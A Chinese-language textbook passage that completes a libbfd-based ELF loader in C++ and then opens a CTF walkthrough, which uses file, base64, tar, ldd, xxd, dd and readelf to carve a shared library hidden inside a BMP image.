在加载完符号和段之后,你将把所有感兴趣的信息复制到你自己的Binary对象中,这意味着你已经完成了对libbfd的使用。因为bfd句柄不再需要,所以加载器使用bfd_close ➓关闭它。如果在完全加载二进制之前发生任何错误,它也会关闭句柄。

4.3.3 加载符号

清单 4-6 显示了load_symbols_bfd函数的代码,用于加载静态符号表。

清单 4-6: inc/loader.cc (续)

   static int
   load_symbols_bfd(bfd *bfd_h, Binary *bin)
   {
     int ret;
     long n, nsyms, i;
➊   asymbol **bfd_symtab;
     Symbol *sym;

     bfd_symtab = NULL;

➋    n = bfd_get_symtab_upper_bound(bfd_h);
     if(n < 0) {
       fprintf(stderr, "failed to read symtab (%s)\n",
               bfd_errmsg(bfd_get_error()));
       goto fail;
     } else if(n) {
➌      bfd_symtab = (asymbol**)malloc(n);
       if(!bfd_symtab) {
         fprintf(stderr, "out of memory\n");
        goto fail;
       }
➍     nsyms = bfd_canonicalize_symtab(bfd_h, bfd_symtab);
       if(nsyms < 0) {
         fprintf(stderr, "failed to read symtab (%s)\n",
                bfd_errmsg(bfd_get_error()));
         goto fail;
       }
➎     for(i = 0; i < nsyms; i++) {
➏       if(bfd_symtab[i]->flags & BSF_FUNCTION) {
           bin->symbols.push_back(Symbol());
           sym = &bin->symbols.back();
➐         sym->type = Symbol::SYM_TYPE_FUNC;
➑         sym->name = std::string(bfd_symtab[i]->name);
➒         sym->addr = bfd_asymbol_value(bfd_symtab[i]);
         }
       }
     }
     ret = 0;
     goto cleanup;

   fail:
     ret = -1;

   cleanup:
➓   if(bfd_symtab) free(bfd_symtab);

     return ret;

  }

libbfd中,符号通过asymbol结构表示,实际上它是struct bfd_symbol的简称。反过来,符号表只是一个asymbol**,意味着一个指向符号的指针数组。因此,load_symbols_bfd的工作是填充在➊声明的asymbol指针数组,然后将感兴趣的信息复制到Binary对象中。

load_symbols_bfd的输入参数是一个bfd句柄和一个用于存储符号信息的Binary对象。在加载任何符号指针之前,你需要分配足够的空间来存储它们。bfd_get_symtab_upper_bound函数 ➋会告诉你为此分配多少字节。如果出现错误,字节数为负;如果为零,则表示没有符号表。如果没有符号表,load_symbols_bfd就会完成并直接返回。

如果一切正常,且符号表包含正字节数,你会分配足够的空间来存储所有的asymbol指针 ➌。如果malloc成功,你就可以准备好让libbfd来填充你的符号表!你可以通过bfd_canonicalize_symtab函数 ➍来实现,这个函数接受你的bfd句柄和你要填充的符号表(即你的asymbol**)作为输入。按照要求,libbfd将正确填充你的符号表,并返回它在表中放置的符号数量(如果该数字为负,则说明出现了问题)。

现在你已经有了填充的符号表,你可以遍历它包含的所有符号 ➎。回想一下,对于二进制加载器,你只对函数符号感兴趣。因此,对于每个符号,你检查是否设置了BSF_FUNCTION标志,这表示它是一个函数符号 ➏。若是这样,你就为Binary对象中的Symbol(回想一下,这是加载器自己用来存储符号的类)预留空间,通过向包含所有已加载符号的vector中添加条目来实现。你将新创建的Symbol标记为函数符号 ➐,复制符号名称 ➑,并设置Symbol的地址 ➒。要获取函数符号的值,即函数的起始地址,你可以使用libbfd提供的bfd_asymbol_value函数。

现在,所有有趣的符号都已被复制到Symbol对象中,加载器不再需要libbfd的表示。因此,当load_symbols_bfd完成时,它会释放为存储libbfd符号所保留的空间➓。之后,它返回,符号加载过程完成。

这就是如何通过libbfd从静态符号表加载符号的过程。那么,动态符号表是如何完成的呢?幸运的是,过程几乎完全相同,正如你在 Listing 4-7 中看到的那样。

Listing 4-7: inc/loader.cc (续)

   static int
   load_dynsym_bfd(bfd *bfd_h, Binary *bin)
   {
     int ret;
     long n, nsyms, i;
➊   asymbol **bfd_dynsym;
     Symbol *sym;

     bfd_dynsym = NULL;

➋   n = bfd_get_dynamic_symtab_upper_bound(bfd_h);
     if(n < 0) {
       fprintf(stderr, "failed to read dynamic symtab (%s)\n",
               bfd_errmsg(bfd_get_error()));
       goto fail;
     } else if(n) {
       bfd_dynsym = (asymbol**)malloc(n);
       if(!bfd_dynsym) {
         fprintf(stderr, "out of memory\n");
         goto fail;
      }
➌    nsyms = bfd_canonicalize_dynamic_symtab(bfd_h, bfd_dynsym);
      if(nsyms < 0) {
        fprintf(stderr, "failed to read dynamic symtab (%s)\n",
                bfd_errmsg(bfd_get_error()));
       goto fail;
     }
     for(i = 0; i < nsyms; i++) {
       if(bfd_dynsym[i]->flags & BSF_FUNCTION) {
         bin->symbols.push_back(Symbol());
         sym = &bin->symbols.back();
         sym->type = Symbol::SYM_TYPE_FUNC;
         sym->name = std::string(bfd_dynsym[i]->name);
         sym->addr = bfd_asymbol_value(bfd_dynsym[i]);
       }
      }
     }

     ret = 0;
     goto cleanup;

   fail:
     ret = -1;

   cleanup:
     if(bfd_dynsym) free(bfd_dynsym);

     return ret;
   }

在 Listing 4-7 中展示的从动态符号表加载符号的函数被恰当地命名为load_dynsym_bfd。如你所见,libbfd使用相同的数据结构(asymbol)来表示静态和动态符号➊。与之前展示的load_symbols_bfd函数的唯一区别如下。首先,为了找到你需要为符号指针保留的字节数,你调用bfd_get_dynamic_symtab_upper_bound ➋,而不是bfd_get_symtab_upper_bound。其次,为了填充符号表,你使用bfd_canonicalize_dynamic_symtab ➌,而不是bfd_canonicalize_symtab。就这些!其余的动态符号加载过程与静态符号的加载过程相同。

4.3.4 加载节

加载符号后,剩下的事情只有一件,尽管这可能是最重要的一步:加载二进制文件的节。Listing 4-8 展示了load_sections_bfd是如何实现这一功能的。

Listing 4-8: inc/loader.cc (续)

  static int
  load_sections_bfd(bfd *bfd_h, Binary *bin)
  {
    int bfd_flags;
    uint64_t vma, size;
    const char *secname;
➊  asection* bfd_sec;
    Section *sec;
    Section::SectionType sectype;

➋  for(bfd_sec = bfd_h->sections; bfd_sec; bfd_sec = bfd_sec->next) {
➌    bfd_flags = bfd_get_section_flags(bfd_h, bfd_sec);

      sectype = Section::SEC_TYPE_NONE;
➍    if(bfd_flags & SEC_CODE) {
        sectype = Section::SEC_TYPE_CODE;
      } else if(bfd_flags & SEC_DATA) {
        sectype = Section::SEC_TYPE_DATA;
      } else {
        continue;
      }
➎    vma     = bfd_section_vma(bfd_h, bfd_sec);
➏    size    = bfd_section_size(bfd_h, bfd_sec);
➐    secname = bfd_section_name(bfd_h, bfd_sec);
     if(!secname) secname = "<unnamed>";

➑    bin->sections.push_back(Section());
      sec = &bin->sections.back();

      sec->binary = bin;
      sec->name   = std::string(secname);
      sec->type   = sectype;
      sec->vma    = vma;
      sec->size   = size;
➒    sec->bytes  = (uint8_t*)malloc(size);
      if(!sec->bytes) {
        fprintf(stderr, "out of memory\n");
        return -1;
     }

➓   if(!bfd_get_section_contents(bfd_h, bfd_sec, sec->bytes, 0, size)) {
       fprintf(stderr, "failed to read section '%s' (%s)\n",
              secname, bfd_errmsg(bfd_get_error()));
       return -1;
     }
   }

   return 0;
 }

为了存储节,libbfd使用一种叫做asection的数据结构,也称为struct bfd_section。在内部,libbfd保持一个asection结构的链表来表示所有节。加载器保留一个asection*来遍历这个列表➊。

要遍历所有的节,你需要从第一个节开始(由bfd_h->sections指向,这是libbfd的节列表头),然后跟随每个asection对象中包含的next指针➋。当next指针为NULL时,你就到达了列表的末尾。

对于每个节,加载器首先检查是否应该加载它。由于加载器只加载代码和数据节,它首先获取节的标志来检查节的类型。为了获取标志,它使用bfd_get_section_flags ➌。然后,它检查是否设置了SEC_CODESEC_DATA标志 ➍。如果没有,它就跳过该节,继续处理下一个。如果设置了其中任一标志,则加载器为相应的Section对象设置节类型,并继续加载该节。

除了节类型,加载器还会复制每个代码或数据节的虚拟地址、大小(以字节为单位)、名称和原始字节。要找到libbfd节的虚拟基地址,可以使用bfd_section_vma ➎。类似地,可以使用bfd_section_size ➏和bfd_section_name ➐分别获取节的大小和名称。如果节没有名称,bfd_section_name将返回NULL

现在,加载器将节的实际内容复制到Section对象中。为此,它在Binary ➑中保留一个Section,并复制它刚刚读取的所有字段。然后,它在Sectionbytes成员中分配足够的空间来容纳节中的所有字节 ➒。如果malloc成功,它会使用bfd_get_section_contents函数 ➓将所有节字节从libbfd节对象复制到Section中。它所接受的参数包括bfd句柄、指向相关asection对象的指针、用于存储节内容的目标数组、复制的起始偏移量以及要复制的字节数。为了复制所有字节,起始偏移量为 0,复制字节的数量等于节的大小。如果复制成功,bfd_get_section_contents返回true;否则返回false。如果一切顺利,加载过程就完成了!

4.4 测试二进制加载器

让我们创建一个简单的程序来测试新的二进制加载器。该程序将接受一个二进制文件名作为输入,使用加载器加载该二进制文件,然后显示关于加载内容的一些诊断信息。清单 4-9 展示了测试程序的代码。

清单 4-9: loader_demo.cc

     #include <stdio.h>
     #include <stdint.h>
     #include <string>
     #include "../inc/loader.h"

     int
     main(int argc, char *argv[])
     {
       size_t i;
       Binary bin;
       Section *sec;
       Symbol *sym;
       std::string fname;

       if(argc < 2) {
         printf("Usage: %s <binary>\n", argv[0]);
         return 1;
     }

     fname.assign(argv[1]);
➊   if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) {
       return 1;
     }

➋   printf("loaded binary '%s' %s/%s (%u bits) entry@0x%016jx\n",
           bin.filename.c_str(),
           bin.type_str.c_str(), bin.arch_str.c_str(),
           bin.bits, bin.entry);

➌   for(i = 0; i < bin.sections.size(); i++) {
       sec = &bin.sections[i];
       printf(" 0x%016jx %-8ju %-20s %s\n",
              sec->vma, sec->size, sec->name.c_str(),
              sec->type == Section::SEC_TYPE_CODE ? "CODE" : "DATA");
     }

➍   if(bin.symbols.size() > 0) {
       printf("scanned symbol tables\n");
       for(i = 0; i < bin.symbols.size(); i++) {
         sym = &bin.symbols[i];
         printf(" %-40s 0x%016jx %s\n",
                sym->name.c_str(), sym->addr,
                (sym->type & Symbol::SYM_TYPE_FUNC) ? "FUNC" : "");
       }
     }

➎   unload_binary(&bin);

     return 0;
    }

这个测试程序加载作为第一个参数传递给它的二进制文件 ➊,然后显示一些关于该二进制文件的基本信息,如文件名、类型、架构和入口点 ➋。接着,它会打印每个节的基地址、大小、名称和类型 ➌,最后显示所有找到的符号 ➍。然后,它会卸载二进制文件并返回 ➎。尝试在虚拟机中运行loader_demo程序!你应该看到类似于清单 4-10 的输出。

清单 4-10: 加载器测试程序的示例输出

$ loader_demo /bin/ls

loaded binary '/bin/ls' elf64-x86-64/i386:x86-64 (64 bits) entry@0x4049a0
  0x0000000000400238 28     .interp                DATA
  0x0000000000400254 32     .note.ABI-tag          DATA
  0x0000000000400274 36     .note.gnu.build-id     DATA
  0x0000000000400298 192    .gnu.hash              DATA
  0x0000000000400358 3288   .dynsym                DATA
  0x0000000000401030 1500   .dynstr                DATA
  0x000000000040160c 274    .gnu.version           DATA
  0x0000000000401720 112    .gnu.version_r         DATA
  0x0000000000401790 168    .rela.dyn              DATA
  0x0000000000401838 2688   .rela.plt              DATA
  0x00000000004022b8 26     .init                  CODE
  0x00000000004022e0 1808   .plt                   CODE
  0x00000000004029f0 8      .plt.got               CODE
  0x0000000000402a00 70281  .text                  CODE
  0x0000000000413c8c 9      .fini                  CODE
  0x0000000000413ca0 27060  .rodata                DATA
  0x000000000041a654 2060   .eh_frame_hdr          DATA
  0x000000000041ae60 11396  .eh_frame              DATA
  0x000000000061de00 8      .init_array            DATA
  0x000000000061de08 8      .fini_array            DATA
  0x000000000061de10 8      .jcr                   DATA
  0x000000000061de18 480    .dynamic               DATA
  0x000000000061dff8 8      .got                   DATA
  0x000000000061e000 920    .got.plt               DATA
  0x000000000061e3a0 608    .data                  DATA
scanned symbol tables
...
  _fini                     0x0000000000413c8c     FUNC
  _init                     0x00000000004022b8     FUNC
  free                      0x0000000000402340     FUNC
  _obstack_memory_used      0x0000000000412960     FUNC
  _obstack_begin            0x0000000000412780     FUNC
  _obstack_free             0x00000000004128f0     FUNC
  localtime_r               0x00000000004023a0     FUNC
  _obstack_allocated_p      0x00000000004128c0     FUNC
  _obstack_begin_1          0x00000000004127a0     FUNC
  _obstack_newchunk         0x00000000004127c0     FUNC
  malloc                    0x0000000000402790     FUNC

4.5 总结

在第一章到第三章中,你学习了有关二进制格式的所有内容。在本章中,你学习了如何加载这些二进制文件,为后续的二进制分析做准备。在这个过程中,你还了解了libbfd,这是一个常用的二进制加载库。现在你已经拥有了一个功能齐全的二进制加载器,准备继续学习二进制分析技术。在本书的第二部分中,你将学习一些基本的二进制分析技术,在第三部分中,你将使用加载器来实现自己的二进制分析工具。

习题

1. 转储节内容

为了简洁,当前版本的loader_demo程序没有显示段内容。扩展程序,使其能够接受一个二进制文件和一个段名作为输入,然后以十六进制格式将该段的内容转储到屏幕上。

2. 覆盖弱符号

有些符号是弱的,这意味着它们的值可能会被另一个非弱符号覆盖。目前,二进制加载器没有考虑这一点,而是简单地存储所有符号。扩展二进制加载器,使其在弱符号被其他符号覆盖时,仅保留最新版本。查看/usr/include/bfd.h以找出需要检查的标志。

3. 打印数据符号

扩展二进制加载器和loader_demo程序,使它们能够处理本地和全局数据符号以及函数符号。你需要在加载器中添加数据符号的处理,向Symbol类中添加一个新的SymbolType,并在loader_demo程序中添加代码,以将数据符号打印到屏幕上。务必在一个未剥离的二进制文件上测试你的修改,以确保数据符号的存在。请注意,数据项在符号术语中被称为对象。如果你对输出的正确性有疑问,可以使用readelf来验证。

第二部分

二进制分析基础

第五章:在 Linux 中进行基础二进制分析

即使在最复杂的二进制分析中,你也可以通过以正确的方式结合一组基本工具来完成令人惊讶的高级任务。这可以节省你自己实现等效功能的数小时工作。在本章中,你将学习在 Linux 上进行二进制分析所需的基本工具。

我不会仅仅列出工具并解释它们的作用,而是通过一个 Capture the Flag (CTF) 挑战来演示它们是如何工作的。在计算机安全和黑客攻击中,CTF 挑战通常作为竞赛进行,目标通常是分析或利用给定的二进制文件(或正在运行的进程或服务器),直到你成功捕获隐藏在二进制中的旗标。旗标通常是一个十六进制字符串,你可以用它来证明你完成了挑战,并解锁新的挑战。

在这个 CTF 中,你从一个神秘的文件 payload 开始,它位于本章的虚拟机目录中。目标是找出如何从 payload 中提取隐藏的旗标。在分析 payload 并寻找旗标的过程中,你将学习使用一系列可以在几乎所有基于 Linux 的系统上找到的基础二进制分析工具(大多数工具是 GNU coreutilsbinutils 的一部分)。我鼓励你跟随并实践。

你将看到的大多数工具都有许多有用的选项,但在本章中无法全面覆盖所有选项。因此,建议你在虚拟机上使用命令 man tool 查看每个工具的手册页。本章结束时,你将使用恢复的旗标来解锁新的挑战,之后你可以独立完成它!

5.1 使用 file 解决身份危机

因为你没有任何关于 payload 内容的提示,所以你完全不知道该如何处理这个文件。当发生这种情况时(例如,在逆向工程或取证场景中),一个好的第一步是弄清楚关于文件类型和内容的所有信息。file 工具就是为此设计的;它接受多个文件作为输入,然后告诉你每个文件的类型。你可能还记得在第二章中,我使用 file 来确定 ELF 文件的类型。

file 的优点在于它不会被文件扩展名所迷惑。相反,它会在文件中搜索其他特征模式,例如 ELF 文件开头的 0x7f ELF 魔法字节序列,从而判断文件类型。这在这里非常适用,因为 payload 文件没有扩展名。以下是 file 告诉你关于 payload 的信息:

$ file payload
payload: ASCII text

正如你所看到的,payload 包含 ASCII 文本。要详细检查文本,你可以使用 head 工具,它会将文本文件的前几行(默认 10 行)输出到 stdout。还有一个类似的工具叫做 tail,它显示文件的最后几行。以下是 head 工具输出的内容:

$ head payload
H4sIAKiT61gAA+xaD3RTVZq/Sf9TSKL8aflnn56ioNJJSiktDpqUlL5o0UpbYEVI0zRtI2naSV5K
YV0HTig21jqojH9mnRV35syZPWd35ZzZ00XHxWBHYJydXf4ckRldZRUxBRzxz2CFQvb77ru3ee81
AZdZZ92z+XrS733fu993v/v/vnt/bqmVfNNkBlq0cCFyy6KFZiUHKi1buMhMLAvMi0oXWSzlZYtA
v2hRWRkRzN94ZEChoOQKCAJp8fdcNt2V3v8fpe9X1y7T63Rjsp7cTlCKGq1UtjL9yPUJGyupIHnw
/zoym2SDnKVIZyVWFR9hrjnPZeky4JcJvwq9LFforSo+i6XjXKfgWaoSWFX8mclExQkRxuww1uOz
Ze3x2U0qfpDFcUyvttMzuxFmN8LSc054er26fJns18D0DaxcnNtZOrsiPVLdh1ILPudey/xda1Xx
MpauTGN3L9hlk69PJsZXsPxS1YvA4uect8N3fN7m8rLv+Frm+7z+UM/8nory+eVlJcHOklIak4ml
rbm7kabn9SiwmKcQuQ/g+3n/OJj/byfuqjv09uKVj8889O6TvxXM+G4qSbRbX1TQCZnWPNQVwG86
/F7+4IkHl1a/eebY91bPemngU8OpI58YNjrWD16u3P3wuzaJ3kh4i6vpuhT6g7rkfs6k0DtS6P8l
hf6NFPocfXL9yRTpS0ny+NtJ8vR3p0hfl8J/bgr9Vyn0b6bQkxTl+ixF+p+m0N+qx743k+wWmlT6

这显然不像是人类可读的内容。仔细观察文件中使用的字母表,你会发现它只由字母数字字符和字符 + 与 / 组成,并且按整齐的行排列。当你看到这样的文件时,通常可以安全地假设它是一个Base64文件。

Base64 是一种广泛使用的将二进制数据编码为 ASCII 文本的方法。除其他外,它常用于电子邮件和网络上,以确保通过网络传输的二进制数据不会因只能处理文本的服务而被意外损坏。方便的是,Linux 系统自带了一个名为base64的工具(通常是 GNU coreutils的一部分),可以进行 Base64 编码和解码。默认情况下,base64会编码任何传递给它的文件或stdin输入。但你可以使用-d标志告诉base64进行解码。让我们解码payload看看会得到什么!

$ base64 -d payload > decoded_payload

这个命令解码payload,然后将解码后的内容存储在一个名为decoded_payload的新文件中。现在你已经解码了payload,让我们再次使用file来检查解码后的文件类型。

$ file decoded_payload
decoded_payload: gzip compressed data, last modified: Tue Oct 22 15:46:43 2019, from Unix

现在你有了进展!事实证明,在 Base64 编码层背后,神秘的文件实际上只是一个压缩归档文件,使用gzip作为外部压缩层。这是介绍file的另一个实用功能的好机会:能够窥视压缩文件内部。你可以通过为file传递-z选项,查看归档中的内容而无需解压。你应该会看到如下内容:

$ file -z decoded_payload
decoded_payload: POSIX tar archive (GNU) (gzip compressed data, last modified:
                  Tue Oct 22 19:08:12 2019, from Unix)

你可以看到你正在处理多个需要提取的层,因为最外层是一个gzip压缩层,而里面是一个tar归档文件,通常包含一组文件。为了查看存储在其中的文件,你可以使用tar解压并提取decoded_payload,像这样:

$ tar xvzf decoded_payload
ctf
67b8601

tar日志所示,从归档中提取了两个文件:ctf67b8601。让我们再次使用file,看看你正在处理哪些类型的文件。

$ file ctf 
ctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=29aeb60bcee44b50d1db3a56911bd1de93cd2030, stripped

第一个文件,ctf,是一个动态链接的 64 位精简 ELF 可执行文件。第二个文件,名为67b8601,是一个 512 × 512 像素的位图(BMP)文件。你可以通过如下命令使用file看到这一点:

$  file 67b8601
67b8601: PC bitmap, Windows 3.x format, 512 x 512 x 24

这个 BMP 文件展示了一个黑色方块,正如你在图 5-1a 中看到的那样。如果你仔细观察,你应该能看到图底部有一些颜色不规则的像素。图 5-1b 显示了这些像素的放大片段。

在探索这些含义之前,让我们先仔细看一下你刚刚提取的ctf ELF 文件。

image

图 5-1:提取的 BMP 文件,67b8601

5.2 使用 ldd 探索依赖关系

尽管运行未知的二进制文件并不明智,但由于你在虚拟机中工作,我们还是尝试运行提取的ctf二进制文件。当你尝试运行该文件时,你并没有走得太远。

$  ./ctf
./ctf: error while loading shared libraries: lib5ae9b7f.so:
       cannot open shared object file: No such file or directory

在任何应用程序代码执行之前,动态链接器就抱怨缺少一个名为 lib5ae9b7f.so 的库。这听起来不像是你在任何系统上通常会找到的库。在搜索这个库之前,先检查一下 ctf 是否还有其他未解决的依赖项是有意义的。

Linux 系统带有一个名为 ldd 的程序,你可以用它来查找一个二进制文件依赖的共享对象,以及这些依赖项在你的系统上的位置(如果有的话)。你甚至可以使用 ldd 配合 -v 参数来查看二进制文件期望的库版本,这在调试时非常有用。正如 ldd man 页面中提到的那样,ldd 可能会运行该二进制文件来确定其依赖项,因此在运行不信任的二进制文件时不安全,除非你在虚拟机或其他隔离环境中运行它。以下是 ctf 二进制文件的 ldd 输出:

$ ldd ctf
        linux-vdso.so.1 => (0x00007fff6edd4000)
        lib5ae9b7f.so => not found
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f67c2cbe000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f67c2aa7000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f67c26de000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f67c23d5000)
        /lib64/ld-linux-x86-64.so.2 (0x0000561e62fe5000)

幸运的是,除了之前识别出的缺失库 lib5ae9b7f.so 之外,没有其他未解决的依赖项。现在你可以专注于弄清楚这个神秘的库是什么,以及如何获取它来捕获旗帜!

因为从库名来看,很明显你不会在任何标准仓库中找到它,所以它一定存在于你目前为止得到的文件中。回想一下第二章,所有 ELF 二进制文件和库都以魔术序列 0x7f ELF 开头。这个字符串对于寻找丢失的库非常有用;只要库没有加密,你应该能够通过这种方式找到 ELF 头。我们来尝试一下简单的 grep 查找字符串 'ELF'

$ grep 'ELF' *
Binary file 67b8601 matches
Binary file ctf matches

正如预期的那样,字符串 'ELF' 出现在 ctf 中,这并不奇怪,因为你已经知道它是一个 ELF 二进制文件。但你可以看到这个字符串也出现在 67b8601 中,乍一看,这似乎是一个无害的位图文件。难道位图的像素数据中隐藏了一个共享库?这倒可以解释你在图 5-1b 中看到的那些奇怪颜色的像素!让我们更详细地检查 67b8601 的内容,看看能否找到答案。

快速查找 ASCII 代码

在将原始字节解释为 ASCII 时,你通常需要一个表格,将不同表示形式的字节值映射到 ASCII 符号。你可以使用一个名为 man ascii 的特殊手册页来快速访问此类表格。以下是从 man ascii 提取的表格片段:

Oct Dec Hex 字符 Oct Dec Hex 字符
000 0 00 NUL '\0' (空字符) 100 64 40 @
001 1 01 SOH (标题开始) 101 65 41 A
002 2 02 STX (文本开始) 102 66 42 B
003 3 03 ETX (文本结束) 103 67 43 C
004 4 04 EOT (传输结束) 104 68 44 D
005 5 05 ENQ (查询) 105 69 45 E
006 6 06 ACK (acknowledge) 106 70 46 F
007 7 07 BEL '\a' (bell) 107 71 47 G
...

如你所见,这是一种快速查找从八进制、十进制和十六进制编码到 ASCII 字符映射的方法。比起在 Google 上查找 ASCII 表,这要快得多!

5.3 使用 xxd 查看文件内容

要发现文件中究竟包含什么内容,而又不能依赖于关于文件内容的任何标准假设,你必须在字节级别进行分析。为此,你可以使用任何数字系统来显示屏幕上的位和字节。例如,你可以使用二进制系统,逐个显示所有的 1 和 0。但由于这种方法分析起来非常繁琐,最好使用十六进制系统。在十六进制系统中(也称为基数 16,简称hex),数字从 0 到 9(含普通意义)开始,接着是 af(其中 a 表示值 10,f 表示值 15)。此外,由于一个字节有 256 = 16 × 16 种可能的值,它正好可以用两位十六进制数字表示,这使得它成为一个方便的编码方式,用于紧凑地显示字节。

要以十六进制表示文件的字节,你可以使用十六进制转储程序。十六进制编辑器是一个也可以编辑文件字节的程序。我将在第七章中详细讲解十六进制编辑,但现在我们先使用一个简单的十六进制转储程序叫做xxd,它默认安装在大多数 Linux 系统中。

这是你正在分析的位图文件通过xxd命令输出的前 15 行内容:

$ xxd 67b8601 | head -n 15
00000000: 424d 3800 0c00 0000 0000 3600 0000 2800 BM8.......6...(.
00000010: 0000 0002 0000 0002 0000 0100 1800 0000 ................
00000020: 0000 0200 0c00 c01e 0000 c01e 0000 0000 ................
00000030: 0000 0000 ➊7f45 4c46 0201 0100 0000 0000 .....ELF........
00000040: 0000 0000 0300 3e00 0100 0000 7009 0000 ......>.....p...
00000050: 0000 0000 4000 0000 0000 0000 7821 0000 ....@.......x!..
00000060: 0000 0000 0000 0000 4000 3800 0700 4000 ........@.8...@.
00000070: 1b00 1a00 0100 0000 0500 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 f40e 0000 0000 0000 f40e 0000 ................
000000a0: 0000 0000 0000 2000 0000 0000 0100 0000 ...... .........
000000b0: 0600 0000 f01d 0000 0000 0000 f01d 2000 .............. .
000000c0: 0000 0000 f01d 2000 0000 0000 6802 0000 ...... .....h...
000000d0: 0000 0000 7002 0000 0000 0000 0000 2000 ....p......... .
000000e0: 0000 0000 0200 0000 0600 0000 081e 0000 ................

如你所见,第一列输出显示了文件的偏移量,以十六进制格式表示。接下来的八列显示文件中字节的十六进制表示,在输出的最右侧,你可以看到相同字节的 ASCII 表示。

你可以使用 xxd 程序的 -c 选项来更改每行显示的字节数。例如,xxd -c 32 会每行显示 32 个字节。你还可以使用 -b 选项显示二进制而不是十六进制,并且可以使用 -i 选项输出一个包含字节的 C 风格数组,你可以直接将其包含在 C 或 C++ 源代码中。要仅输出文件中的部分字节,你可以使用 -s(寻址)选项指定开始的位置,并可以使用 -l(长度)选项指定要转储的字节数。

在位图文件的 xxd 输出中,ELF 魔术字节出现在偏移 0x34 ➊ 处,对应十进制的 52。这告诉你文件中可能的 ELF 库开始的位置。不幸的是,确定它结束的位置并不那么简单,因为 ELF 文件的末尾没有魔术字节作为分界。因此,在尝试提取完整的 ELF 文件之前,先提取 ELF 头部会更容易,因为你知道 64 位 ELF 头部正好包含 64 个字节。然后,你可以检查 ELF 头部,以确定完整文件的大小。

要提取头部,你可以使用 dd 从位图文件的偏移 52 处开始,复制 64 字节到一个名为 elf_header 的新输出文件中。

$ dd skip=52 count=64 if=67b8601 of=elf_header bs=1
64+0 records in
64+0 records out
64 bytes copied, 0.000404841 s, 158 kB/s

使用 dd 在这里只是偶然的,因此我不会详细解释。不过,dd 是一个非常多功能的^(1) 工具,如果你不熟悉它,值得阅读它的手册页。

让我们再次使用 xxd 来查看它是否有效。

$ xxd elf_header
00000000: ➊7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 7009 0000 0000 0000 ..>.....p.......
00000020: 4000 0000 0000 0000 7821 0000 0000 0000 @.......x!......
00000030: 0000 0000 4000 3800 0700 4000 1b00 1a00 ....@.8...@.....

看起来像是 ELF 头部!你可以清楚地看到起始处的魔术字节 ➊,并且还可以看到 e_ident 数组和其他字段看起来合理(有关这些字段的描述,请参考第二章)。

5.4 使用 readelf 解析提取的 ELF

要查看你刚提取的 ELF 头部的详细信息,最好使用 readelf,就像你在第二章中做的那样。但如果 ELF 文件损坏,仅包含一个头部,readelf 还能工作吗?让我们在清单 5-1 中找出答案!

清单 5-1:提取的 ELF 头部的 readelf 输出

➊  $ readelf  -h  elf_header
   ELF Header:
     Magic:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
     Class:                            ELF64
     Data:                             2's complement, little endian
     Version:                          1 (current)
     OS/ABI:                           UNIX - System V
     ABI Version:                      0
     Type:                             DYN (Shared object file)
     Machine:                          Advanced Micro Devices X86-64
     Version:                          0x1
     Entry point address:              0x970
     Start of program headers:         64 (bytes into file)
➋   Start of section headers:         8568 (bytes into file)
     Flags:                            0x0
     Size of this header:              64 (bytes)
     Size of program headers:          56 (bytes)
     Number of program headers:        7
➌   Size of section headers:          64 (bytes)
➍   Number of section headers:        27
     Section header string table index: 26
   readelf: Error: Reading 0x6c0 bytes extends past end of file for section headers
   readelf: Error: Reading 0x188 bytes extends past end of file for program headers

-h 选项 ➊ 告诉 readelf 仅打印可执行头部。它仍然抱怨节区头表和程序头表的偏移量指向文件之外,但这没关系。关键是,你现在可以方便地查看提取的 ELF 头部。

那么,如何仅凭可执行头部来计算完整 ELF 的大小呢?在第二章的图 2-1 中,你已经学到 ELF 文件的最后部分通常是节区头表,而节区头表的偏移量是在可执行头部中给出的 ➋。可执行头部还告诉你每个节区头的大小 ➌ 和节区头表中的节区头数量 ➍。这意味着你可以通过以下方式计算出隐藏在位图文件中的完整 ELF 库的大小:

image

在这个方程式中,size 是完整库的大小,eshoff 是节区头表的偏移量,eshnum 是节区头表中的节区头数量,e_shentsize 是每个节区头的大小。

现在你已经知道库的大小应该是 10,296 字节,你可以使用 dd 完整提取它,方法如下:

$ dd skip=52 count=10296 if=67b8601 ➊of=lib5ae9b7f.so bs=1
10296+0 records in
10296+0 records out
10296 bytes (10 kB, 10 KiB) copied, 0.0287996 s, 358 kB/s

dd命令调用提取的文件lib5ae9b7f.so ➊,因为这是ctf二进制文件期望的缺失库的名称。运行此命令后,你现在应该拥有一个完全功能的 ELF 共享对象。让我们使用readelf来查看是否一切顺利,如清单 5-2 所示。为了简洁起见,我们只打印可执行文件头(-h)和符号表(-s)。后者应能帮助你了解库所提供的功能。

清单 5-2:提取的库的readelf输出,lib5ae9b7f.so*

    $ readelf -hs lib5ae9b7f.so
    ELF Header:
      Magic:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
      Class:                             ELF64
      Data:                              2's complement, little endian
      Version:                           1 (current)
      OS/ABI:                            UNIX - System V
      ABI Version:                       0
      Type:                              DYN (Shared object file)
      Machine:                           Advanced Micro Devices X86-64
      Version:                           0x1
      Entry point address:               0x970
      Start of program headers:          64 (bytes into file)
      Start of section headers:          8568 (bytes into file)
      Flags:                             0x0
      Size of this header:               64 (bytes)
      Size of program headers:           56 (bytes)
      Number of program headers:         7
      Size of section headers:           64 (bytes)
      Number of section headers:         27
      Section header string table index: 26

    Symbol table '.dynsym' contains 22 entries:
      Num:      Value              Size Type      Bind          Vis       Ndx  Name
        0: 0000000000000000           0 NOTYPE    LOCAL      DEFAULT      UND
        1: 00000000000008c0           0 SECTION   LOCAL      DEFAULT        9
        2: 0000000000000000           0 NOTYPE    WEAK       DEFAULT      UND  __gmon_start__
        3: 0000000000000000           0 NOTYPE    WEAK       DEFAULT      UND  _Jv_RegisterClasses
